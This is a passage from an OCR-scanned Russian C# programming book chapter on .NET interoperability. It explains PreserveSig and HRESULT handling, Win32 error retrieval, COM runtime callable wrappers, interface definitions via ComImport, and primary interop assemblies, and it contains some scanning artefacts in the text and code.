и выдает соответствующее исключе- ние, применяемое в .NET. Во всех остальных случаях общеязыковая среда выполнения выдает исключение COMException. При работе с COM-интерфейсами такое преобразование сигнатуры применяется по умолчанию, и если вы по какой-то причине хотите его отключить, то нужно запросить сохранение оригинальной сигнатуры при COM-взаимодействиях. Как вы помните, платформозависимые вы- зовы предназначены для вызова^входных точек DLL, и по умолчанию эта возможность отключена, поскольку большинство API, работающих с DLL, не следуют данному соглашению. В целях непротиворечивости мы используем в контексте интероперабельности уже знакомую терми- нологию: говорим о «сохранении» исходной сигнатуры, независимо от 1098
Интероперабельность того, идет ли ре^кь о COM-взаимодействиях или о платформозависимых вызовах. В итоге при платформозависимых вызовах положение вещей может показаться немного нелогичным: если вы хотите включить ав- томатическую обработку HRESULT, то устанавливаете поле PreserveSig атрибута Dlllmport в значение false, что напоминает как раз отключе- ние, а не включение новой возможности, тогда как по умолчанию дей- ствует значение true. Вероятно, ситуация была бы яснее, если бы поле работало противоположным образом и называлось DistortSig. Вы убедились, что если активировать перезапись сигнатуры, устано- вив поле PreserveSig в значение false, а импортированный метод объ- явлен в C# как обладающий непустым возвращаемым типом (non-void), то CLR предполагает, что у метода есть дополнительный последний ар- гумент, принимающий указатель на переменную определенного типа. Предполагается, что метод будет заполнять этот аргумент перед возвра- том. Тем не менее при обработке возвращаемых значений таким спосо- бом возникает одно небольшое ограничение: он не всегда срабатывает, если логическое возвращаемое значение является значимым типом. Точные обстоятельства, в которых он не срабатывает, не документирова- ны — в базе знаний Microsoft эта ситуация описана в статье под номером 318765, где пример, который я собираюсь привести, квалифицируется как баг, а не как специально реализованное поведение. Правда, данная статья была опубликована еще в 2005 году, так что Microsoft не спешит исправлять эту ошибку. Итак, рассмотрим API, показанный в листин- ге 21.14. Это вспомогательный метод для работы с СОМ, который со- держится в библиотеке ole32.dll в Windows и отыскивает двоичное имя COM-класса по его текстовому имени. Листинг 21.14. Нативный API с возвращаемым значением в стиле СОМ HRESULT CLSIDFromProgID(LPCOLESTR IpszProgID, LPCLSID Ipclsid); Данный метод возвращает HRESULT, а также имеет логическое воз- вращаемое значение. Это второй аргумент, представляющий собой указатель на GUID. Он может выглядеть и как указатель на CLSID, но является просто именем, которое СОМ присваивает GUID и которое идентифицирует класс. LPCLSID — это псевдоним для GUID*. Поэтому буквальный импорт (с сохранением сигнатуры) будет выглядеть как в листинге 21.15. Библиотека классов .NET Framework определяет Guid как структуру. Так что, делая эту структуру аргументом out, мы получа- ем один уровень косвенности, добиваясь совпадения с неуправляемой сигнатурой. 1099
Глава 21 Листинг 21.15. Возвращение значимого типа по ссылке [Dlllmport("Ole32.dll")] static extern int CLSIDFromProgID( [MarshalAs(UnmanagedType.LPWStr)] string progID, out Guid clsid); Это соответствует обычному принципу, применяемому в модели СОМ: мы используем возвращаемый тип HRESULT и out-подобный фи- нальный аргумент, представляющий логический результат. Так что можно предположить, что импорт осуществим и другим способом, по- казанным в листинге 21.16. Листинг 21.16. Неудачная попытка преобразовать возвращаемое значение, полученное от COM-подобного API-интерфейса // Должно работать, но не работает. [Dlllmport("Ole32.dll", PreserveSig = false)] static extern Guid CLSIDFromProgID( [MarshalAs(UnmanagedType.LPWStr)] string progID); Однако если вы попытаетесь вызвать этот код, то CLR выдаст исклю- чение MarshalDirectiveException, пожаловавшись, что сигнатура метода «несовместима с платформозависимыми вызовами». Вы не столкнетесь с подобной проблемой при работе с любыми типами структур (struct- типами), но если она все-таки возникнет, есть пара способов справиться с ней. Простейший — удовлетвориться базовой, неизмененной сигнату- рой. Так мы сделали в листинге 21.15, и он работает нормально. Прав- да, в таком случае приходится отказаться от автоматической проверки HRESULT. К счастью, существует и другой, гибридный обходной маневр, показанный в листинге 21.17. Листинг 21.17. Автоматическая проверка hresult без логического возвращаемого значения [Dlllmport("Ole32.dll", PreserveSig false)] static extern void CLSIDFromProgID( [MarshalAs(UnmanagedType.LPWStr)] string progID, out Guid clsid); Этот код весьма напоминает листинг 21.15, но с двумя изменениями: возвращаемый тип теперь void, а поле PreserveSig я установил в значе- ние false. Такая комбинация обеспечивает автоматическую проверку HRESULT (поэтому мы узнаем о происходящих ошибках по выдаваемым исключениям), но, поскольку возвращаемый тип равен void, CLR пред- 1100
Интероперабельность полагает, что логическое возвращаемое значение отсутствует, и прини- мает список аргументов буквально. Может показаться странным, что общеязыковая среда выполнения справляется с такой задачей — ведь на внутрисистемном уровне ей приходится обрабатывать такой же ко- нечный параметр out, как и в листинге 21.16, но факт остается фактом. Я мог бы воспользоваться этим приемом, чтобы избавиться от одного из жестко запрограммированных GUID в листинге 21.13. Как показано в листинге 21.18, в такой ситуации я могу узнать представление GUID COM-класса по его текстовому имени. Листинг 21.18. Вызов метода с явным out-аргументом Guid shellAppClsid; CLSIDFromProgID("Shell.Application", out shellAppClsid); Хотя мне и приходится иметь дело с несколько неудобным аргумен- том out, тогда как работа с возвращаемым значением была бы гораздо проще, CLR как минимум автоматически проверит возвращаемое зна- чение за меня и выдаст исключение, если выполнение метода закончит- ся неудачей. Например, если в программе не окажется класса с таким именем, которое я указал, будет выдано исключение COMException с со- общением об ошибке Invalid class string (Exception from HRESULT: 0x800401F3(CO_E_CLASSSTRING)). Существует потенциальная проблема с таким преобразованием сигнатуры, учитывающим взаимодействие с COM-моделью. В подобной реализации мы не можем различать коды успешного завершения операции. HRESULT способен представлять не- сколько разновидностей отказа, но с тем же успехом он может различать и варианты успешного завершения работы. В абсолютном большинстве API последняя возможность не применяется, и при успехе возвращает- ся стандартный код S OK (имеющий значение 0). Поэтому, как правило, HRESULT интересен только в случаях возникновения ошибок. Но если вы разбираетесь лишь с одним исключением из многих, то лучше представ- лять сигнатуру такой, какой она на самом деле является. Если вы работаете с API Win32, то должны учитывать, что в боль- шинстве этих интерфейсов обработка ошибок организована иначе. Обработка ошибок по принципу Win32 Многие API Win32 сообщают об успешном или неуспешном резуль- тате операции, возвращая соответственно true или false. Некоторые сигнализируют о неудаче, возвращая специальное значение, свидетель- 1101
Глава 21 ствующее о недействительном манипуляторе. Ни один из этих подхо- дов не позволяет узнать, по какой именно причине операция оказалась неуспешной, но вы обычно можете прояснить ситуацию, вызвав метод Win32 GetLastError. Он получает значение ошибки, относящееся к кон- кретному потоку, а несработавшие нативные API обычно задают это значение, вызывая SetLastError перед возвратом. В C# вы можете вы- яснить данную ошибку, вызвав метод GetLastWin32Error класса Marshal. Тем не менее здесь есть один нюанс. Не исключено, что к тому моменту, когда вы сможете запросить по- следнюю ошибку Win32, общеязыковая среда выполнения уже выпол- нит вызовы других API по вашей команде. Например, между вызовом API и запросом о коде ошибки CLR вполне может запустить сборку мусора. Итак, GetLastWin32Error не вызывает GetLastError Win32 на- прямую. Напротив, CLR вызывает за вас GetLastError после возврата нативного метода и до выполнения вызовов к каким-либо другим API. Таким образом, вы получите код ошибки, соответствующий последнему нативному вызову, который вы сделали по принципу P/Invoke (плат- формозависимый вызов), а не последнему вызову API Win32, совер- шенному в данном потоке. Тем не менее среда не сохраняет ошибку для всех платформозависимых вызовов, так как в случаях, когда она вам не требуется, дюбой вызов GetLastError будет напрасной тратой ресурсов. Итак, если вы собираетесь запросить ошибку, то должны сообщить об этом CLR. Для этого установите поле SetLastError атрибута Dlllmport в значение true. Разумеется, не любой нативный код, что может вам понадобиться, будет доступен через входные точки динамически подключаемых библи- отек. Даже некоторые API Win32 используют при этом модель СОМ. сом Службы общеязыковой среды выполнения, обеспечивающие ин- тероперабельность, поддерживают объектную модель компонентов (СОМ), которая давно лежит в основе независимых от языка объектно- ориентированных* API для работы с нативным кодом в Windows. Инте- * Описывать СОМ как объектно-ориентированную модель не совсем верно, так как в своей базовой форме она не поддерживает наследования реализации, которое многие специалисты считают фундаментальной чертой объектно-ориентированного программи- рования. Но любой API будет пользоваться моделью СОМ лишь в том случае, когда ему требуется оперировать объектами. 1102
Интероперабельность роперабельность по модели СОМ не является обособленной возможно- стью — как я рассказывал в разделе «Маршалинг», любой метод может принимать или возвращать COM-объекты, независимо от того, являет- ся ли он сам членом COM-объекта или объекта Windows Runtime или используется в рамках платформозависимого вызова. В этом разделе я подробнее расскажу об оболочках исполняющей среды (RCW), гене- рируемых CLR для доступа к COM-объектам из .NET. Также мы пого- ворим о, оболочках для COM-вызовов, создаваемых общеязыковой сре- дой выполнения для представления .NET-объектов в коде СОМ. Еще я продемонстрирую некоторые возможности системы типов, значитель- но упрощающие создание новых экземпляров СОМ-объектов. Время жизни оболочки исполняющей среды Когда нативный код в первый раз передает конкретный СОМ-объект в управляемый код, CLR создает для данного кода оболочку исполняю- щей среды (RCW). Это может произойти, когда вернется нативный ме- тод, но нативный код также может сделать вызов в управляемый код (на- пример, при помощи делегата, оборачиваемого CLR в виде указателя на функцию). Независимо от того, по какой именно причине СОМ-объекту приходится пересекать границу между нативным и управляемым кодом, CLR всегда выполняет при этом одни и те же шаги. Первым делом она проверяет, имеется ли уже оболочка для данного объекта. Если подхо- дящая оболочка исполняющей среды была создана ранее и эта обертка еще не попала под сборку мусора, то оболочка переиспользуется. Это означает, что идентификатор объекта сохраняется — если ваш код на C# получает объект из неуправляемого кода, сохраняет ссылку на него, а позже получает тот же самый объект из нативного кода, то программа может удостовериться, что обе ссылки указывают на один и тот же объ- ект. Для этого достаточно сравнить идентификаторы ссылок (при по- мощи object.ReferenceEquals). С чисто технической точки зрения неверно говорить, что CLR 4 е всегда применяет одну и ту же оболочку для конкретного 3*5СОМ-объекта. Ведь если сборщик мусора обнаруживает, что оболочка больше не используется, CLR избавится от нее. Но если объект, находившийся в RCW-оболочке, вновь будет пе- редан в управляемый код несколько позже, то CLR придется создать для него новую оболочку, так как старая уже не суще- ствует. Тем не менее, если ваш код получит такую новую обо- 1103
Глава 21 лочку, он об этом не узнает. Ведь исходная оболочка испол- няющей среды попадет в сборку мусора лишь в том случае, если ваш код не удерживает ссылку на нее, а если у вас нет Ссылки на исходную оболочку, то вы не сможете сравнить ее идентификатор с идентификатором новой оболочки. В отличие от практики, применяемой в .NET, время жизни объек- та СОМ строго определяется путем подсчета ссылок. Когда CLR соз- дает оболочку исполняющей среды, эта среда вызывает метод AddRef COM-объекта, чтобы удостовериться, что данный COM-объект будет существовать не меньше, чем оболочка. Среда вызывает Release, когда оболочка попадает под сборку мусора, поэтому COM-объекты, как пра- вило, высвобождаются автоматически и вовремя. Тем не менее, если по- лагаться на сборщик мусора, могут возникнуть проблемы, при которых вам потребуется более полный контроль над ситуацией. Во-первых, именно потоку финализатора предстоит обнаружить, что необходимо вызвать Release. Это может представлять проблему, так как большинство объектов СОМ могут использоваться только из кон- кретных потоков, а в ряде случаев недопустимо вызывать методы для данных объектов из любого потока, кроме того, который создал объект. CLR использует верные COM-механизмы для диспетчеризации вызо- вов через подходящий поток, но можно оказаться в ситуации, когда по- ток, создавший интересующий нас объект, занят или вообще завис. Это большая неприятность, так как в результате поток финализатора может блокироваться и ждать, пока поток, создавший объект, не окажется до- ступен. Блокировка потока финализатора, в свою очередь, блокирует работу сборщика мусора. Вторая проблема заключается в том, что некоторые СОМ-объекты создаются с расчетом на то, что они будут своевременно высвобождать- ся. В неуправляемом коде СОМ-объекты действительно высвобожда- ются, как только работа с ними закончится, и там можно с достаточной уверенностью полагать, что драгоценные ресурсы будут выделяться только на время жизни COM-объекта. Но если вы перепоручаете высво- бождение таких объектов сборщику мусора из .NET, то ваше приложе- ние может начать потреблять ресурсы в неконтролируемых масштабах. Дело в том, что, с точки зрения сборщика мусора, оболочка испол- няющей среды — маленький объект, и сборщик мусора не может опреде- лить, насколько мал или велик тот COM-объект, обернутый в нее. 1104
Интероперабельность Для устранения проблем CLR позволяет запрашивать ранее высво- бождение. Класс Marshal, которым я пользовался выше в листинге 21.5, определяет статический метод Release, принимающий оболочку испол- няющей среды в качестве аргумента. При вызове этого метода мы мо- жем приказать CLR высвободить базовый СОМ-объект. Я говорю «можем», так как в некоторых ситуациях мы не хотим это- го допускать. Допустим, в вашем приложении имеется два потока, оба они вызывают нативный API, и оба получают от этого API один и тот же СОМ-объект. Если первый поток завершает работу с этим объектом и вызывает Marshal.Release, мы не хотим останавливать RCW, так как второй поток еще не закончил работу с полученным СОМ-объектом. Поэтому RCW ведет собственный счет (независимый от внутрен- него подсчета ссылок, выполняемого в базовом COM-объекте). Вся- кий раз, когда конкретный СОМ-объект переходит из нативного кода в управляемый, CLR увеличивает значение счетчика соответствующей RCW-оболочки. Потому в самый первый раз, когда используется объект и для него создается оболочка исполняющей среды, это значение равно единице. Но когда тот же самый СОМ-объект вновь переходит границу взаимодействий из нативного в управляемый код, CLR узнает этот объ- ект, так как «уже встречала его». Она переиспользуёт соответствующую RCW и увеличит значение счетчика, которое теперь будет равно двум. Каждый вызов Marshal .Release снижает значение счетчика RCW. Толь- ко когда значение этого счетчика упадет до нуля, среда вызовет метод Release для высвобождения базового COM-объекта. Этот вызов проис- ходит в любом потоке, уже вызывавшем Marshal.Release, в результате чего вы избегаете поточных ловушек, в которые можно попасть при вы- зове Release из потока финализатора. Может показаться, что подобные задачи лучше всего выпол- 4 * нять на интерфейсе IDisposable, поскольку в таком случае мы 4*’сможем использовать блоки using, сообщая CLR, что работа с СОМ-объектом закончена. Поэтому вы, возможно, рассчиты- вали, что оболочки исполняющей среды реализуют такой ин- терфейс и Dispose действует точно так же, как и Marshal. Release. К сожалению, интероперабельность с COM-объектами созда- валась задолго до того, как был изобретен IDisposable, а позже так и не обновлялась для поддержки этого интерфейса. Кроме того, семантика двух сущностей различается: Marshal.Release использует механизм подсчета ссылок, a IDisposable нет. 1105
Глава 21 Метаданные Чтобы обеспечить маршалинг аргументов, передаваемых через границы взаимодействий, CLR должна знать сигнатуры методов. При COM-взаимодействиях мы не можем применять тот же принцип, что и при платформозависимых вызовах, так как при P/Invoke мы импорти- руем всего один метод в каждый момент времени, тогда как СОМ рабо- тает на основе интерфейсов. Каждый COM-объект реализует один или более интерфейсов, которые, в свою очередь, определяют доступные для вызова методы. Поэтому CLR требуется доступ к определениям этих интерфейсов. Хотя модель СОМ и определяет формат метаданных — вы можете размещать определения интерфейсов в библиотеке типов, — CLR не поддерживает такую возможность. Возникает ситуация, напоминающая работу с платформозависимыми вызовами: P/Invoke требует, чтобы вы предоставили .NET-вариант объявления того метода, который хотите импортировать, а при работе с COM-интерфейсами вы должны указать .NET-версию такого интерфейса. На это есть пара причин: во-первых, библиотеки типов никогда не являлись в COM-модели обязательными, во-вторых, даже если они существуют, иногда они бывают неполными. Изначально библиотеки типов создавались для таких языков, что не по- зволяют выполнять все функции, поддерживаемые в СОМ, поэтому для некоторых COM-объектов существование исчерпывающей библиотеки типов принципиально невозможно. Определения интерфейсов .NET совсем не обязательно содержат все компоненты, необходимые для правильного функционирования COM-взаимодействий. Например, в СОМ каждый интерфейс имеет свой идентификатор GUID. GUID, используемые для этой цели, на- зывают «идентификаторами интерфейсов», сокращенно — IID. CLR должна знать GUID, чтобы иметь возможность узнать у конкретного COM-объекта, поддерживает ли он определенный интерфейс. При инте- роперабельности такие проблемы решаются при помощи пользователь- ских атрибутов. Эти атрибуты позволяют сообщить GUID интерфейса и некоторые другие аспекты, а также указать, для чего предназначается интерфейс: только для работы со сценарными клиентами, для операций с COM-моделью или для того и другого. В последнем случае речь идет о гибридном (двойном) интерфейсе. В листинге 21.19 показано .NET- определение простого COM-интерфейса, не поддерживающего работу со сценариями. Это часть специального API, введенного в Windows 7 для работы с домашними группами (home groups). Такой API обеспечи- Лоб
Интероперабельность вает упрощенную модель совместного использования ресурсов по сети в домашнем окружении. Листинг 21.19. COM-интерфейс с IID [Comlmport] [Guid("7a3bdld9-35a9-4fb3-a467-f48cac35e2d0")] [InterfaceType(ComlnterfaceType.InterfacelsIUnknown)] interface IHomeGroup { [return: MarshalAs(UnmanagedType.Bool)] bool IsMember(); void ShowSharingWizard(IntPtr ownerHwnd, out HOMEGROUPSHARINGCHOICES sharingchoices); enum HOMEGROUPSHARINGCHOICES { HGSC_NONE = 0x00000000, HGSC_MUSICLIBRARY = 0x00000001, HGSC_PICTURESLIBRARY 0x00000002, HGSC_VIDEOSLIBRARY 0x00000004, HGSC_DOCUMENTSLIBRARY 0x00000008, HGSC_PRINTERS 0x00000010, } Кроме GUID у нас еще есть атрибут [Comlmport], сообщающий об- щеязыковой среде выполнения, что данное определение соответствует СОМ-интерфейсу. При работе с интерфейсами, определенными для интеропе- 4 рабельности, порядок членов важен — он должен быть таким же, как и на исходном COM-интерфейсе. Вообще в .NET поря- док следования членов типа редко имеет значение, но здесь такая важность обусловлена принципами работы объектной модели компонентов. Итак, как же мне получить реализацию этого интерфейса? При на- тивном COM-программировании мне нужно было бы знать иденти- фикатор GUID того COM-класса, который реализует этот интерфейс, после чего я передам этот GUID k’API CoCreatelnstance. Это можно сделать напрямую из С#. В листинге 21.20 я так и поступаю, после чего 1107
Глава 21 запрашиваю результирующий объект, относится ли данный компьютер к домашней группе. Если да, то на экране отображается мастер совмест- ного использования домашней группы. При этом я использую метод CoCreatelnstance, импортированный в листинге 21.12. Как будет пока- зано чуть ниже, на практике вам никогда не придется так поступать. Листинг 21.20. Использование интерфейса iHomeGroup var homeGroupClsid = new Guid(,,DE77BA04-3C92-4dll-AlA5-42352A53E0E3") ; Guid iidlUnknown new Guid("{00000000-0000-0000-C000-000000000046}"); object homeGroupObject = CoCreatelnstance(ref homeGroupClsid, null, 5, ref iidlUnknown); var homeGroup = (IHomeGroup) homeGroupObject; if (homeGroup.IsMember()) { HOMEGROUPSHARINGCHOICES choices; homeGroup.ShowSharingWizard(IntPtr.Zero, out choices); Console.WriteLine(choices); } Строка, где я привожу к IHomeGroup объект, возвращенный CoCreatelnstance, — это та точка, где CLR требуется узнать идентифи- катор интерфейса. Потому среда будет искать тот атрибут Guid, который использовался в листинге 21.19. «За кулисами» CLR станет вызывать метод Queryinterface, предоставляемый COM-объектами для обнару- жения интерфейсов. Все это работает, но строки в верхней части листин- га, где создается СОМ-объект, получаются довольно некрасивыми. Как было показано в листинге 21.10, метод CoCreatelnstance имеет логиче- ское возвращаемое значение типа void*, которое может содержать любой тип. C# требует, чтобы во время компиляции возвращаемые типы были фиксированными, поэтому данная конкретная идиома нам здесь не под- ходит. На практике мы почти никогда не вызываем CoCreatelnstance на- прямую в управляемом коде. Как правило, для создания экземпляра COM-класса в C# необхо- димо определить класс .NET, который будет его представлять, — точно как я определял .NET-интерфейс для представления СОМ-интерфейса. В листинге 21.21 определяется класс HomeGroup. Здесь атрибут Guid со- держит идентификатор для класса СОМ. Именно этот идентификатор я передал методу CoCreatelnstance в листинге 21.20. 1108
И нтероперабелыность Листинг 21.21. Класс на языке С#, представляющий СОМ-класс [Comlmport] [Guid("DE77BA04-3C92-4dll-AlA5-42352A53E0E3")] class HomeGroup IHomeGroup ( [Methodlmpl(MethodlmplOptions.Internalcall, MethodCodeType = MethodCodeType.Runtime)] [return: MarshalAs(UnmanagedType.Bool)] public virtual extern bool IsMemberO; [Methodlmpl(MethodlmplOptions.InternalCall, MethodCodeType = MethodCodeType.Runtime)] public virtual extern void ShowSharingWizard( IntPtr ownerHwnd, out HOMEGROUPSHARINGCHOICES sharingchoices); ) Здесь мы объявляем, что этот класс реализует интерфейс IHomeGroup. Таким образом, он определяет все методы данного интерфейса, но фак- тически этот класс является просто эрзацем. Во времй выполнения реализацию будет обеспечивать объект СОМ, так что ни у одного из приведенных здесь методов нет тела. Компилятор это допускает, так как я воспользовался тем же самым ключевым словом extern, которое применял выше с Dlllmport. C# допускает использование данного клю- чевого слова лишь при условии, что в коде применяется соответствую- щий атрибут, обеспечивающий интероперабельность. В случае с плат- формозависимыми вызовами это Dlllmport, а в ситуациях, когда метод будет реализован COM-объектом, такой атрибут называется Methodlmpl. Общеязыковая среда выполнения должна знать, откуда берутся реали- зации методов, и если выяснить это не удается, то будет выдано исклю- чение. Чтобы этого не происходило, класс снабжен атрибутом Comlmport. Он сообщает общеязыковой среде выполнения, что данный класс не требует полномасштабной реализации, так как его задача — обеспечить удобный способ для инстанцирования COM-классов. Одного только атрибута Guid здесь будет недостаточно, так как в разных контекстах он может иметь различные значения. Пройдя через все эти трудности, мы можем с гораздо большим удобством использовать класс СОМ, пред- ставленный моим типом HomeGroup. Я могу преобразовать листинг 21.20, чтобы этот код выглядел как в листинге 21.22. Такой код в C# кажется значительно более естественным. 1109
Глава 21 Листинг 21.22. Использование СОМ-класса через подменяющий его класс .NET var homeGroup = n©w HomeGroup(); if (homeGroup.IsMember()) ( HOMEGROUPSHARINGCHOICES choices; homeGroup.ShowSharingWizard(IntPtr.Zero, out choices); Console.WriteLine(choices); } Конечный результат удобен в использовании, но, согласитесь, мы добились его не без труда. В листинге 21.19 я выстроил определение ин- терфейса вручную. Для этого мне потребовалось прочитать документа- цию по COM-интерфейсу и написать эквивалентный класс .NET. Такая работа очень быстро может стать обременительной, особенно потому, что абсолютное большинство COM-интерфейсов существуют в том или ином контексте. Даже для приведенного здесь очень простого приме- ра требуется соответствующее определение enum, используемое одним из методов. Большинство API, которые я изучил при подготовке этого примера, как выяснилось, обладают целыми цепочками зависимостей. Таким образом, чтобы дойти до этапа, на котором у меня мог получиться работоспособный пример, мне пришлось написать пару страниц кода, поскольку каждый интерфейс ссылается на несколько других, а они сами ссылаются на еще какие-то интерфейсы. Так что написание таких длин- ных определений интерфейсов является сомнительным удовольствием. Кроме того, такая работа чревата большим количеством ошибок. При переводе COM-интерфейсов на язык .NET вручную очень легко что- jo упустить. А поскольку мы работаем в нативном коде, такая ошибка вполне может получиться неочевидной. Ошибки способны приводить к повреждению данных, а последствия таких повреждений четко про- являются не сразу, а лишь через некоторое время. К счастью, создавать подобные определения вручную вам придется достаточно редко. Хотя библиотеки типов СОМ не могут полностью описать все воз- можные COM-интерфейсы, на практике эти библиотеки достаточно хо- роши в самых разнообразных контекстах. Если вы используете СОМ- компонент, представляющий один из таких интерфейсов, то можете прибегнуть к библиотеке типов, чтобы сгенерировать требуемые опре- деления типов .NET. Visual Studio может сделать это за вас. Откроем ди- алоговое окно Reference Manager (Диспетчер ссылок), в которое вы по- падаете, щелкнув правой кнопкой мыши по узлу References (Ссылки) на панели Solution Explorer (Обозреватель решений) и выбрав в кон- ШО
Интероперабельность текстном меню команду Add Reference (Добавить ссылку). Это диало- говое окно поддерживает работу с COM-компонентами, даже в .NET- проектах. Если вы выберете СОМ из списка, расположенного в правой части этого диалогового окна, Visual Studio отобразит все библиотеки типов, которые в настоящее время зарегистрированы в вашей системе. Например, у меня на компьютере почти тысяча таких библиотек. Если вы выберете одну из них, Visual Studio сгенерирует определения .NET- типов для тех COM-интерфейсов, с которыми вы собираетесь работать, а также все родственные типы, требуемые для использования этих ин- терфейсов, например определения enum. Также существует инструмент командной строки TLBIMP (от англ. Type Library Importer — импортер библиотеки типов). Эта утилита позволяет вам выполнять аналогичную работу вне Visual Studio. Если вам требуется использовать интерфейс, для которо- 4 ш го отсутствует библиотека типов, то, прежде чем приступать 45 к написанию определений вручную, загляните на сайт http:// pinvoke.net/. Это вики-источник, на котором многие популяр- ные COM-интерфейсы были преобразованы в эквивалентные интерфейсы .NET. Здесь также предоставляются сигнатуры Dllimport для многих API Win32. Тем не менее будьте осто- рожны: фактически это обычное сообщество, и в предостав- ляемых тут материалах встречается немало ошибок. Поэтому всегда проверяйте все, что там найдете (и сами исправляйте найденные ошибки прямо на сайте). Но этот ресурс просто сэкономит вам время — ведь собственную работу вам тоже пришлось бы проверять. Если библиотека типов отсутствует, то вы можете решить, что из- держки, связанные с созданием определения класса как в листинге 21.22, не стоят приобретаемой выгоды. Даже в таком случае вы, как правило, не будете вызывать CoCreatelnstance сами. В листинге 21.23 показан обычный подход. Листинг 21.23. Создание экземпляра COM-объекта без .NET-класса var homeGroupClsid = new Guid(”DE77BA04-3C92-4dl1-A1A5-42352A53E0E3"); var homeGroup = (IHomeGroup) Activator.Createlnstance(Type.GetTypeFromCLSID( homeGroupClsid)); 1111
Глава 21 Статический метод GetTypeFromCLSID класса Туре получает объект Туре, представляющей собой COM-класс. Если передать этот объект методу Createlnstance класса Activator, он вызовет CoCreatelnstance за вас. Это несколько менее удобно, чем вызывать CoCreatelnstance само- стоятельно. Хотя СОМ и использует GUID в качестве идентификаторов интер- фейсов и классов, некоторые классы также обладают текстовым име- нем. Особенно это характерно для тех классов, что предназначены для работы со сценариями. Такое имя класса называется ProgID. Например, если вы хотите программно управлять Microsoft Word, сначала нужно получить его объект-«приложение». GUID этого класса — 000209FF- 0000-0000-С000-000000000046, но его ProgID гораздо проще запомнить: Word.Application. Как показано в листинге 21.24, Туре имеет вспомога- тельный метод для работы и с такими идентификаторами. Листинг 21.24. Создание экземпляра СОМ по идентификатору ProgID object word = Activator.Createlnstance( Type.GetTypeFromProgID("Word.Application")); Если вы опрфбуете любой из предыдущих двух примеров, а потом обратите внимание на тип возвращаемой оболочки исполняющей сре- ды, то заметите кое-что интересное (предполагается, что у вас на ком- пьютере установлен Word). Как правило, если вы вызываете GetType в ссылке на СОМ-объект, то оболочка исполняющей среды обычно сообщает, что данный СОМ- об^ект имеет тип System.__ComOb j ect, но в этих примерах результат будет иным: Microsoft .Of f ice. Interop. Word. Applicationclass. Оказывается, что Office не просто предоставляет полные библиотеки для СОМ-типов. Более того, Microsoft создала полный набор типов .NET* Поэтому вам не только не придется импортировать все типы вручную, но и не нужно проходить весь процесс импорта библиотеки типов, как в Visual Studio, так и при работе с TLBIMP. Сборка, содержащая информацию о типе .NET, необходимую для взаимодействия с СОМ, называется интероперабельной. Вы можете найти такие сборки с помощью диалогового окна Reference Manager * Хотя они обычно присутствуют на машине, где установлена Visual Studio, они не всегда устанавливаются вместе с Office. Поэтому на некоторых машинах вы можете не встретить этого типа. Ш2
Интероперабельность (Диспетчер ссылок! среды разработки Visual Studio, выбрав в левой его части пункт Assemblies => Extensions (Сборки => Расширения). Но в листинге 21.24 как-то удается загрузить интероперабельную сборку для Word для добавления каких-либо ссылок на сборки. Основные сборки взаимодействия В ходе COM-взаимодействий можно назначить основную сборку взаимодействия (PIA, primary interop assembly) для COM-класса, вос- пользовавшись реестром. Вся информация о регистрации СОМ на уровне классов находится в разделе реестра HKEY_CLASSES_ROOT\CLSID, где вы также найдете серию GUID-идентификаторов класса (CLSID), заключенных в скобки. Идентификатор Word.Application разрешается в {000209FF-0000-0000-C000-000000000046}, а ниже этого раздела нахо- дится подраздел InprocServer32. Он содержит два значения, которые CLR ищет при создании экземпляра COM-класса: Assembly и Class. Если эти значения присутствуют, то CLR автоматически загрузит ука- занные сборку и класс (как правило, они будут похожи на тот замени- тель, который я написал в листинге 21.21). ' Мы поступаем так по следующей причине: если несколько дина- мически подключаемых библиотек в одном приложении станут при- менять одни и те же COM-типы (например, две библиотеки использу- ют Word), то они могут «договориться» о том, какие .NET-типы будут представлять эти COM-типы. Допустим, два компонента (One.dll и Two. dll) предоставили свои собственные импортированные типы СОМ, как это было сделано в листингах 21.19 и 21.21. Каждый из этих компонен- тов определит собственный класс Application. Теперь, хотя оба ком- понента будут представлять один и тот же класс СОМ, с точки зрения общеязыковой исполняющей среды это окажутся разные типы, так как они определены в разных сборках. В результате начнут возникать про- блемы с любыми объектами, обладающими значимым идентификато- ром, — например, с объектами, возвращаемыми от коллекции Documents объекта приложения. Интероперабельная сборка Word определяет свои типы таким образом, что объекты, возвращаемые данной коллекцией, будут относиться к конкретному типу Documentclass. Если бы библиоте- ка One.dll использовала интероперабельную сборку Word, а библиотека Two.dll определяла бы собственные интероперабельные типы, то какими из этих типов должна была бы пользоваться общеязыковая исполняю- щая среда, получив объект из коллекции Documentclass? Вы могли бы предположить, что это зависит от того, какой именно код запросил до- 1113
Глава 21 кумент. Допустим, если One.dll запрашивает документ, то тип оболочки исполняющей среды должен быть Documentclass. Но не забывайте, что как только в процессе COM-взаимодействий будет создана оболочка исполняющей среды для конкретного COM-объекта, то на протяжении всего ее существования при многократных вызовах одного и того же объекта с ним будет переиспользоваться одна и та же RCW-оболочка. Поэтому если Two.dll позже запросит уже использовавшийся объект до- кумента, то она получит объект типа Documentclass — по той простой причине, что библиотека One.dll уже породила именно такую оболочку исполняющей среды. Если Two.dll для работы требовался другой тип, то ее работа завершится неудачей. Цель основной сборки взаимодействия заключается в том, чтобы предоставлять однозначные .NET-представления конкретного набора COM-типов и избегать проблем, возможных в случае, когда каждый но- вый компонент начинает определять свои собственные оболочки. Однако основные сборки взаимодействия могут осложнять развер- тывание. Они требуют, чтобы при работе создавались записи реестра, а вам, как правило, необходимо установить их в глобальном кэше сбо- рок. Для этого понадобится создать полнофункциональный файл уста- новщика Windews (.msi). Если речь идет о локальном приложении для Windows, то вы так или иначе будете создавать такую сборку, но при развертывании веб-приложения эта задача может сильно усложнить жизнь. Кроме того, подобные сборки могут быть довольно велики. Пол- ный набор основных сборок взаимодействия для Office 2010 составляет чуть более 11 Мб, что вполне может превысить по объему все остальные компоненты вашего приложения, взятые вместе. Чтобы облегчить эти проблемы, в .NET 4.0 появилась новая возмож- ность, неофициально называемая по PIA, а более корректно (но при этом и более туманно) — эквивалентность типов (type equivalence). Благо- даря данной возможности некоторые типы .NET могут объявлять, что их можно считать эквивалентными другим типам. Поэтому компонент может содержать собственное определение COM-интерфейса, сопрово- ждаемое определенной меткой. Фактически такая метка сообщает, что этот тип следует считать точно таким, как и любой другой тип, опреде- ленный на том же COM-интерфейсе. Для обеспечения этой возможно- сти достаточно всего одного атрибута — Typeidentifier. Компилятор C# может сделать это за вас. На самом деле, по умолча- нию он так и поступает. Если вы добавите ссылку на библиотеку типов Ш4
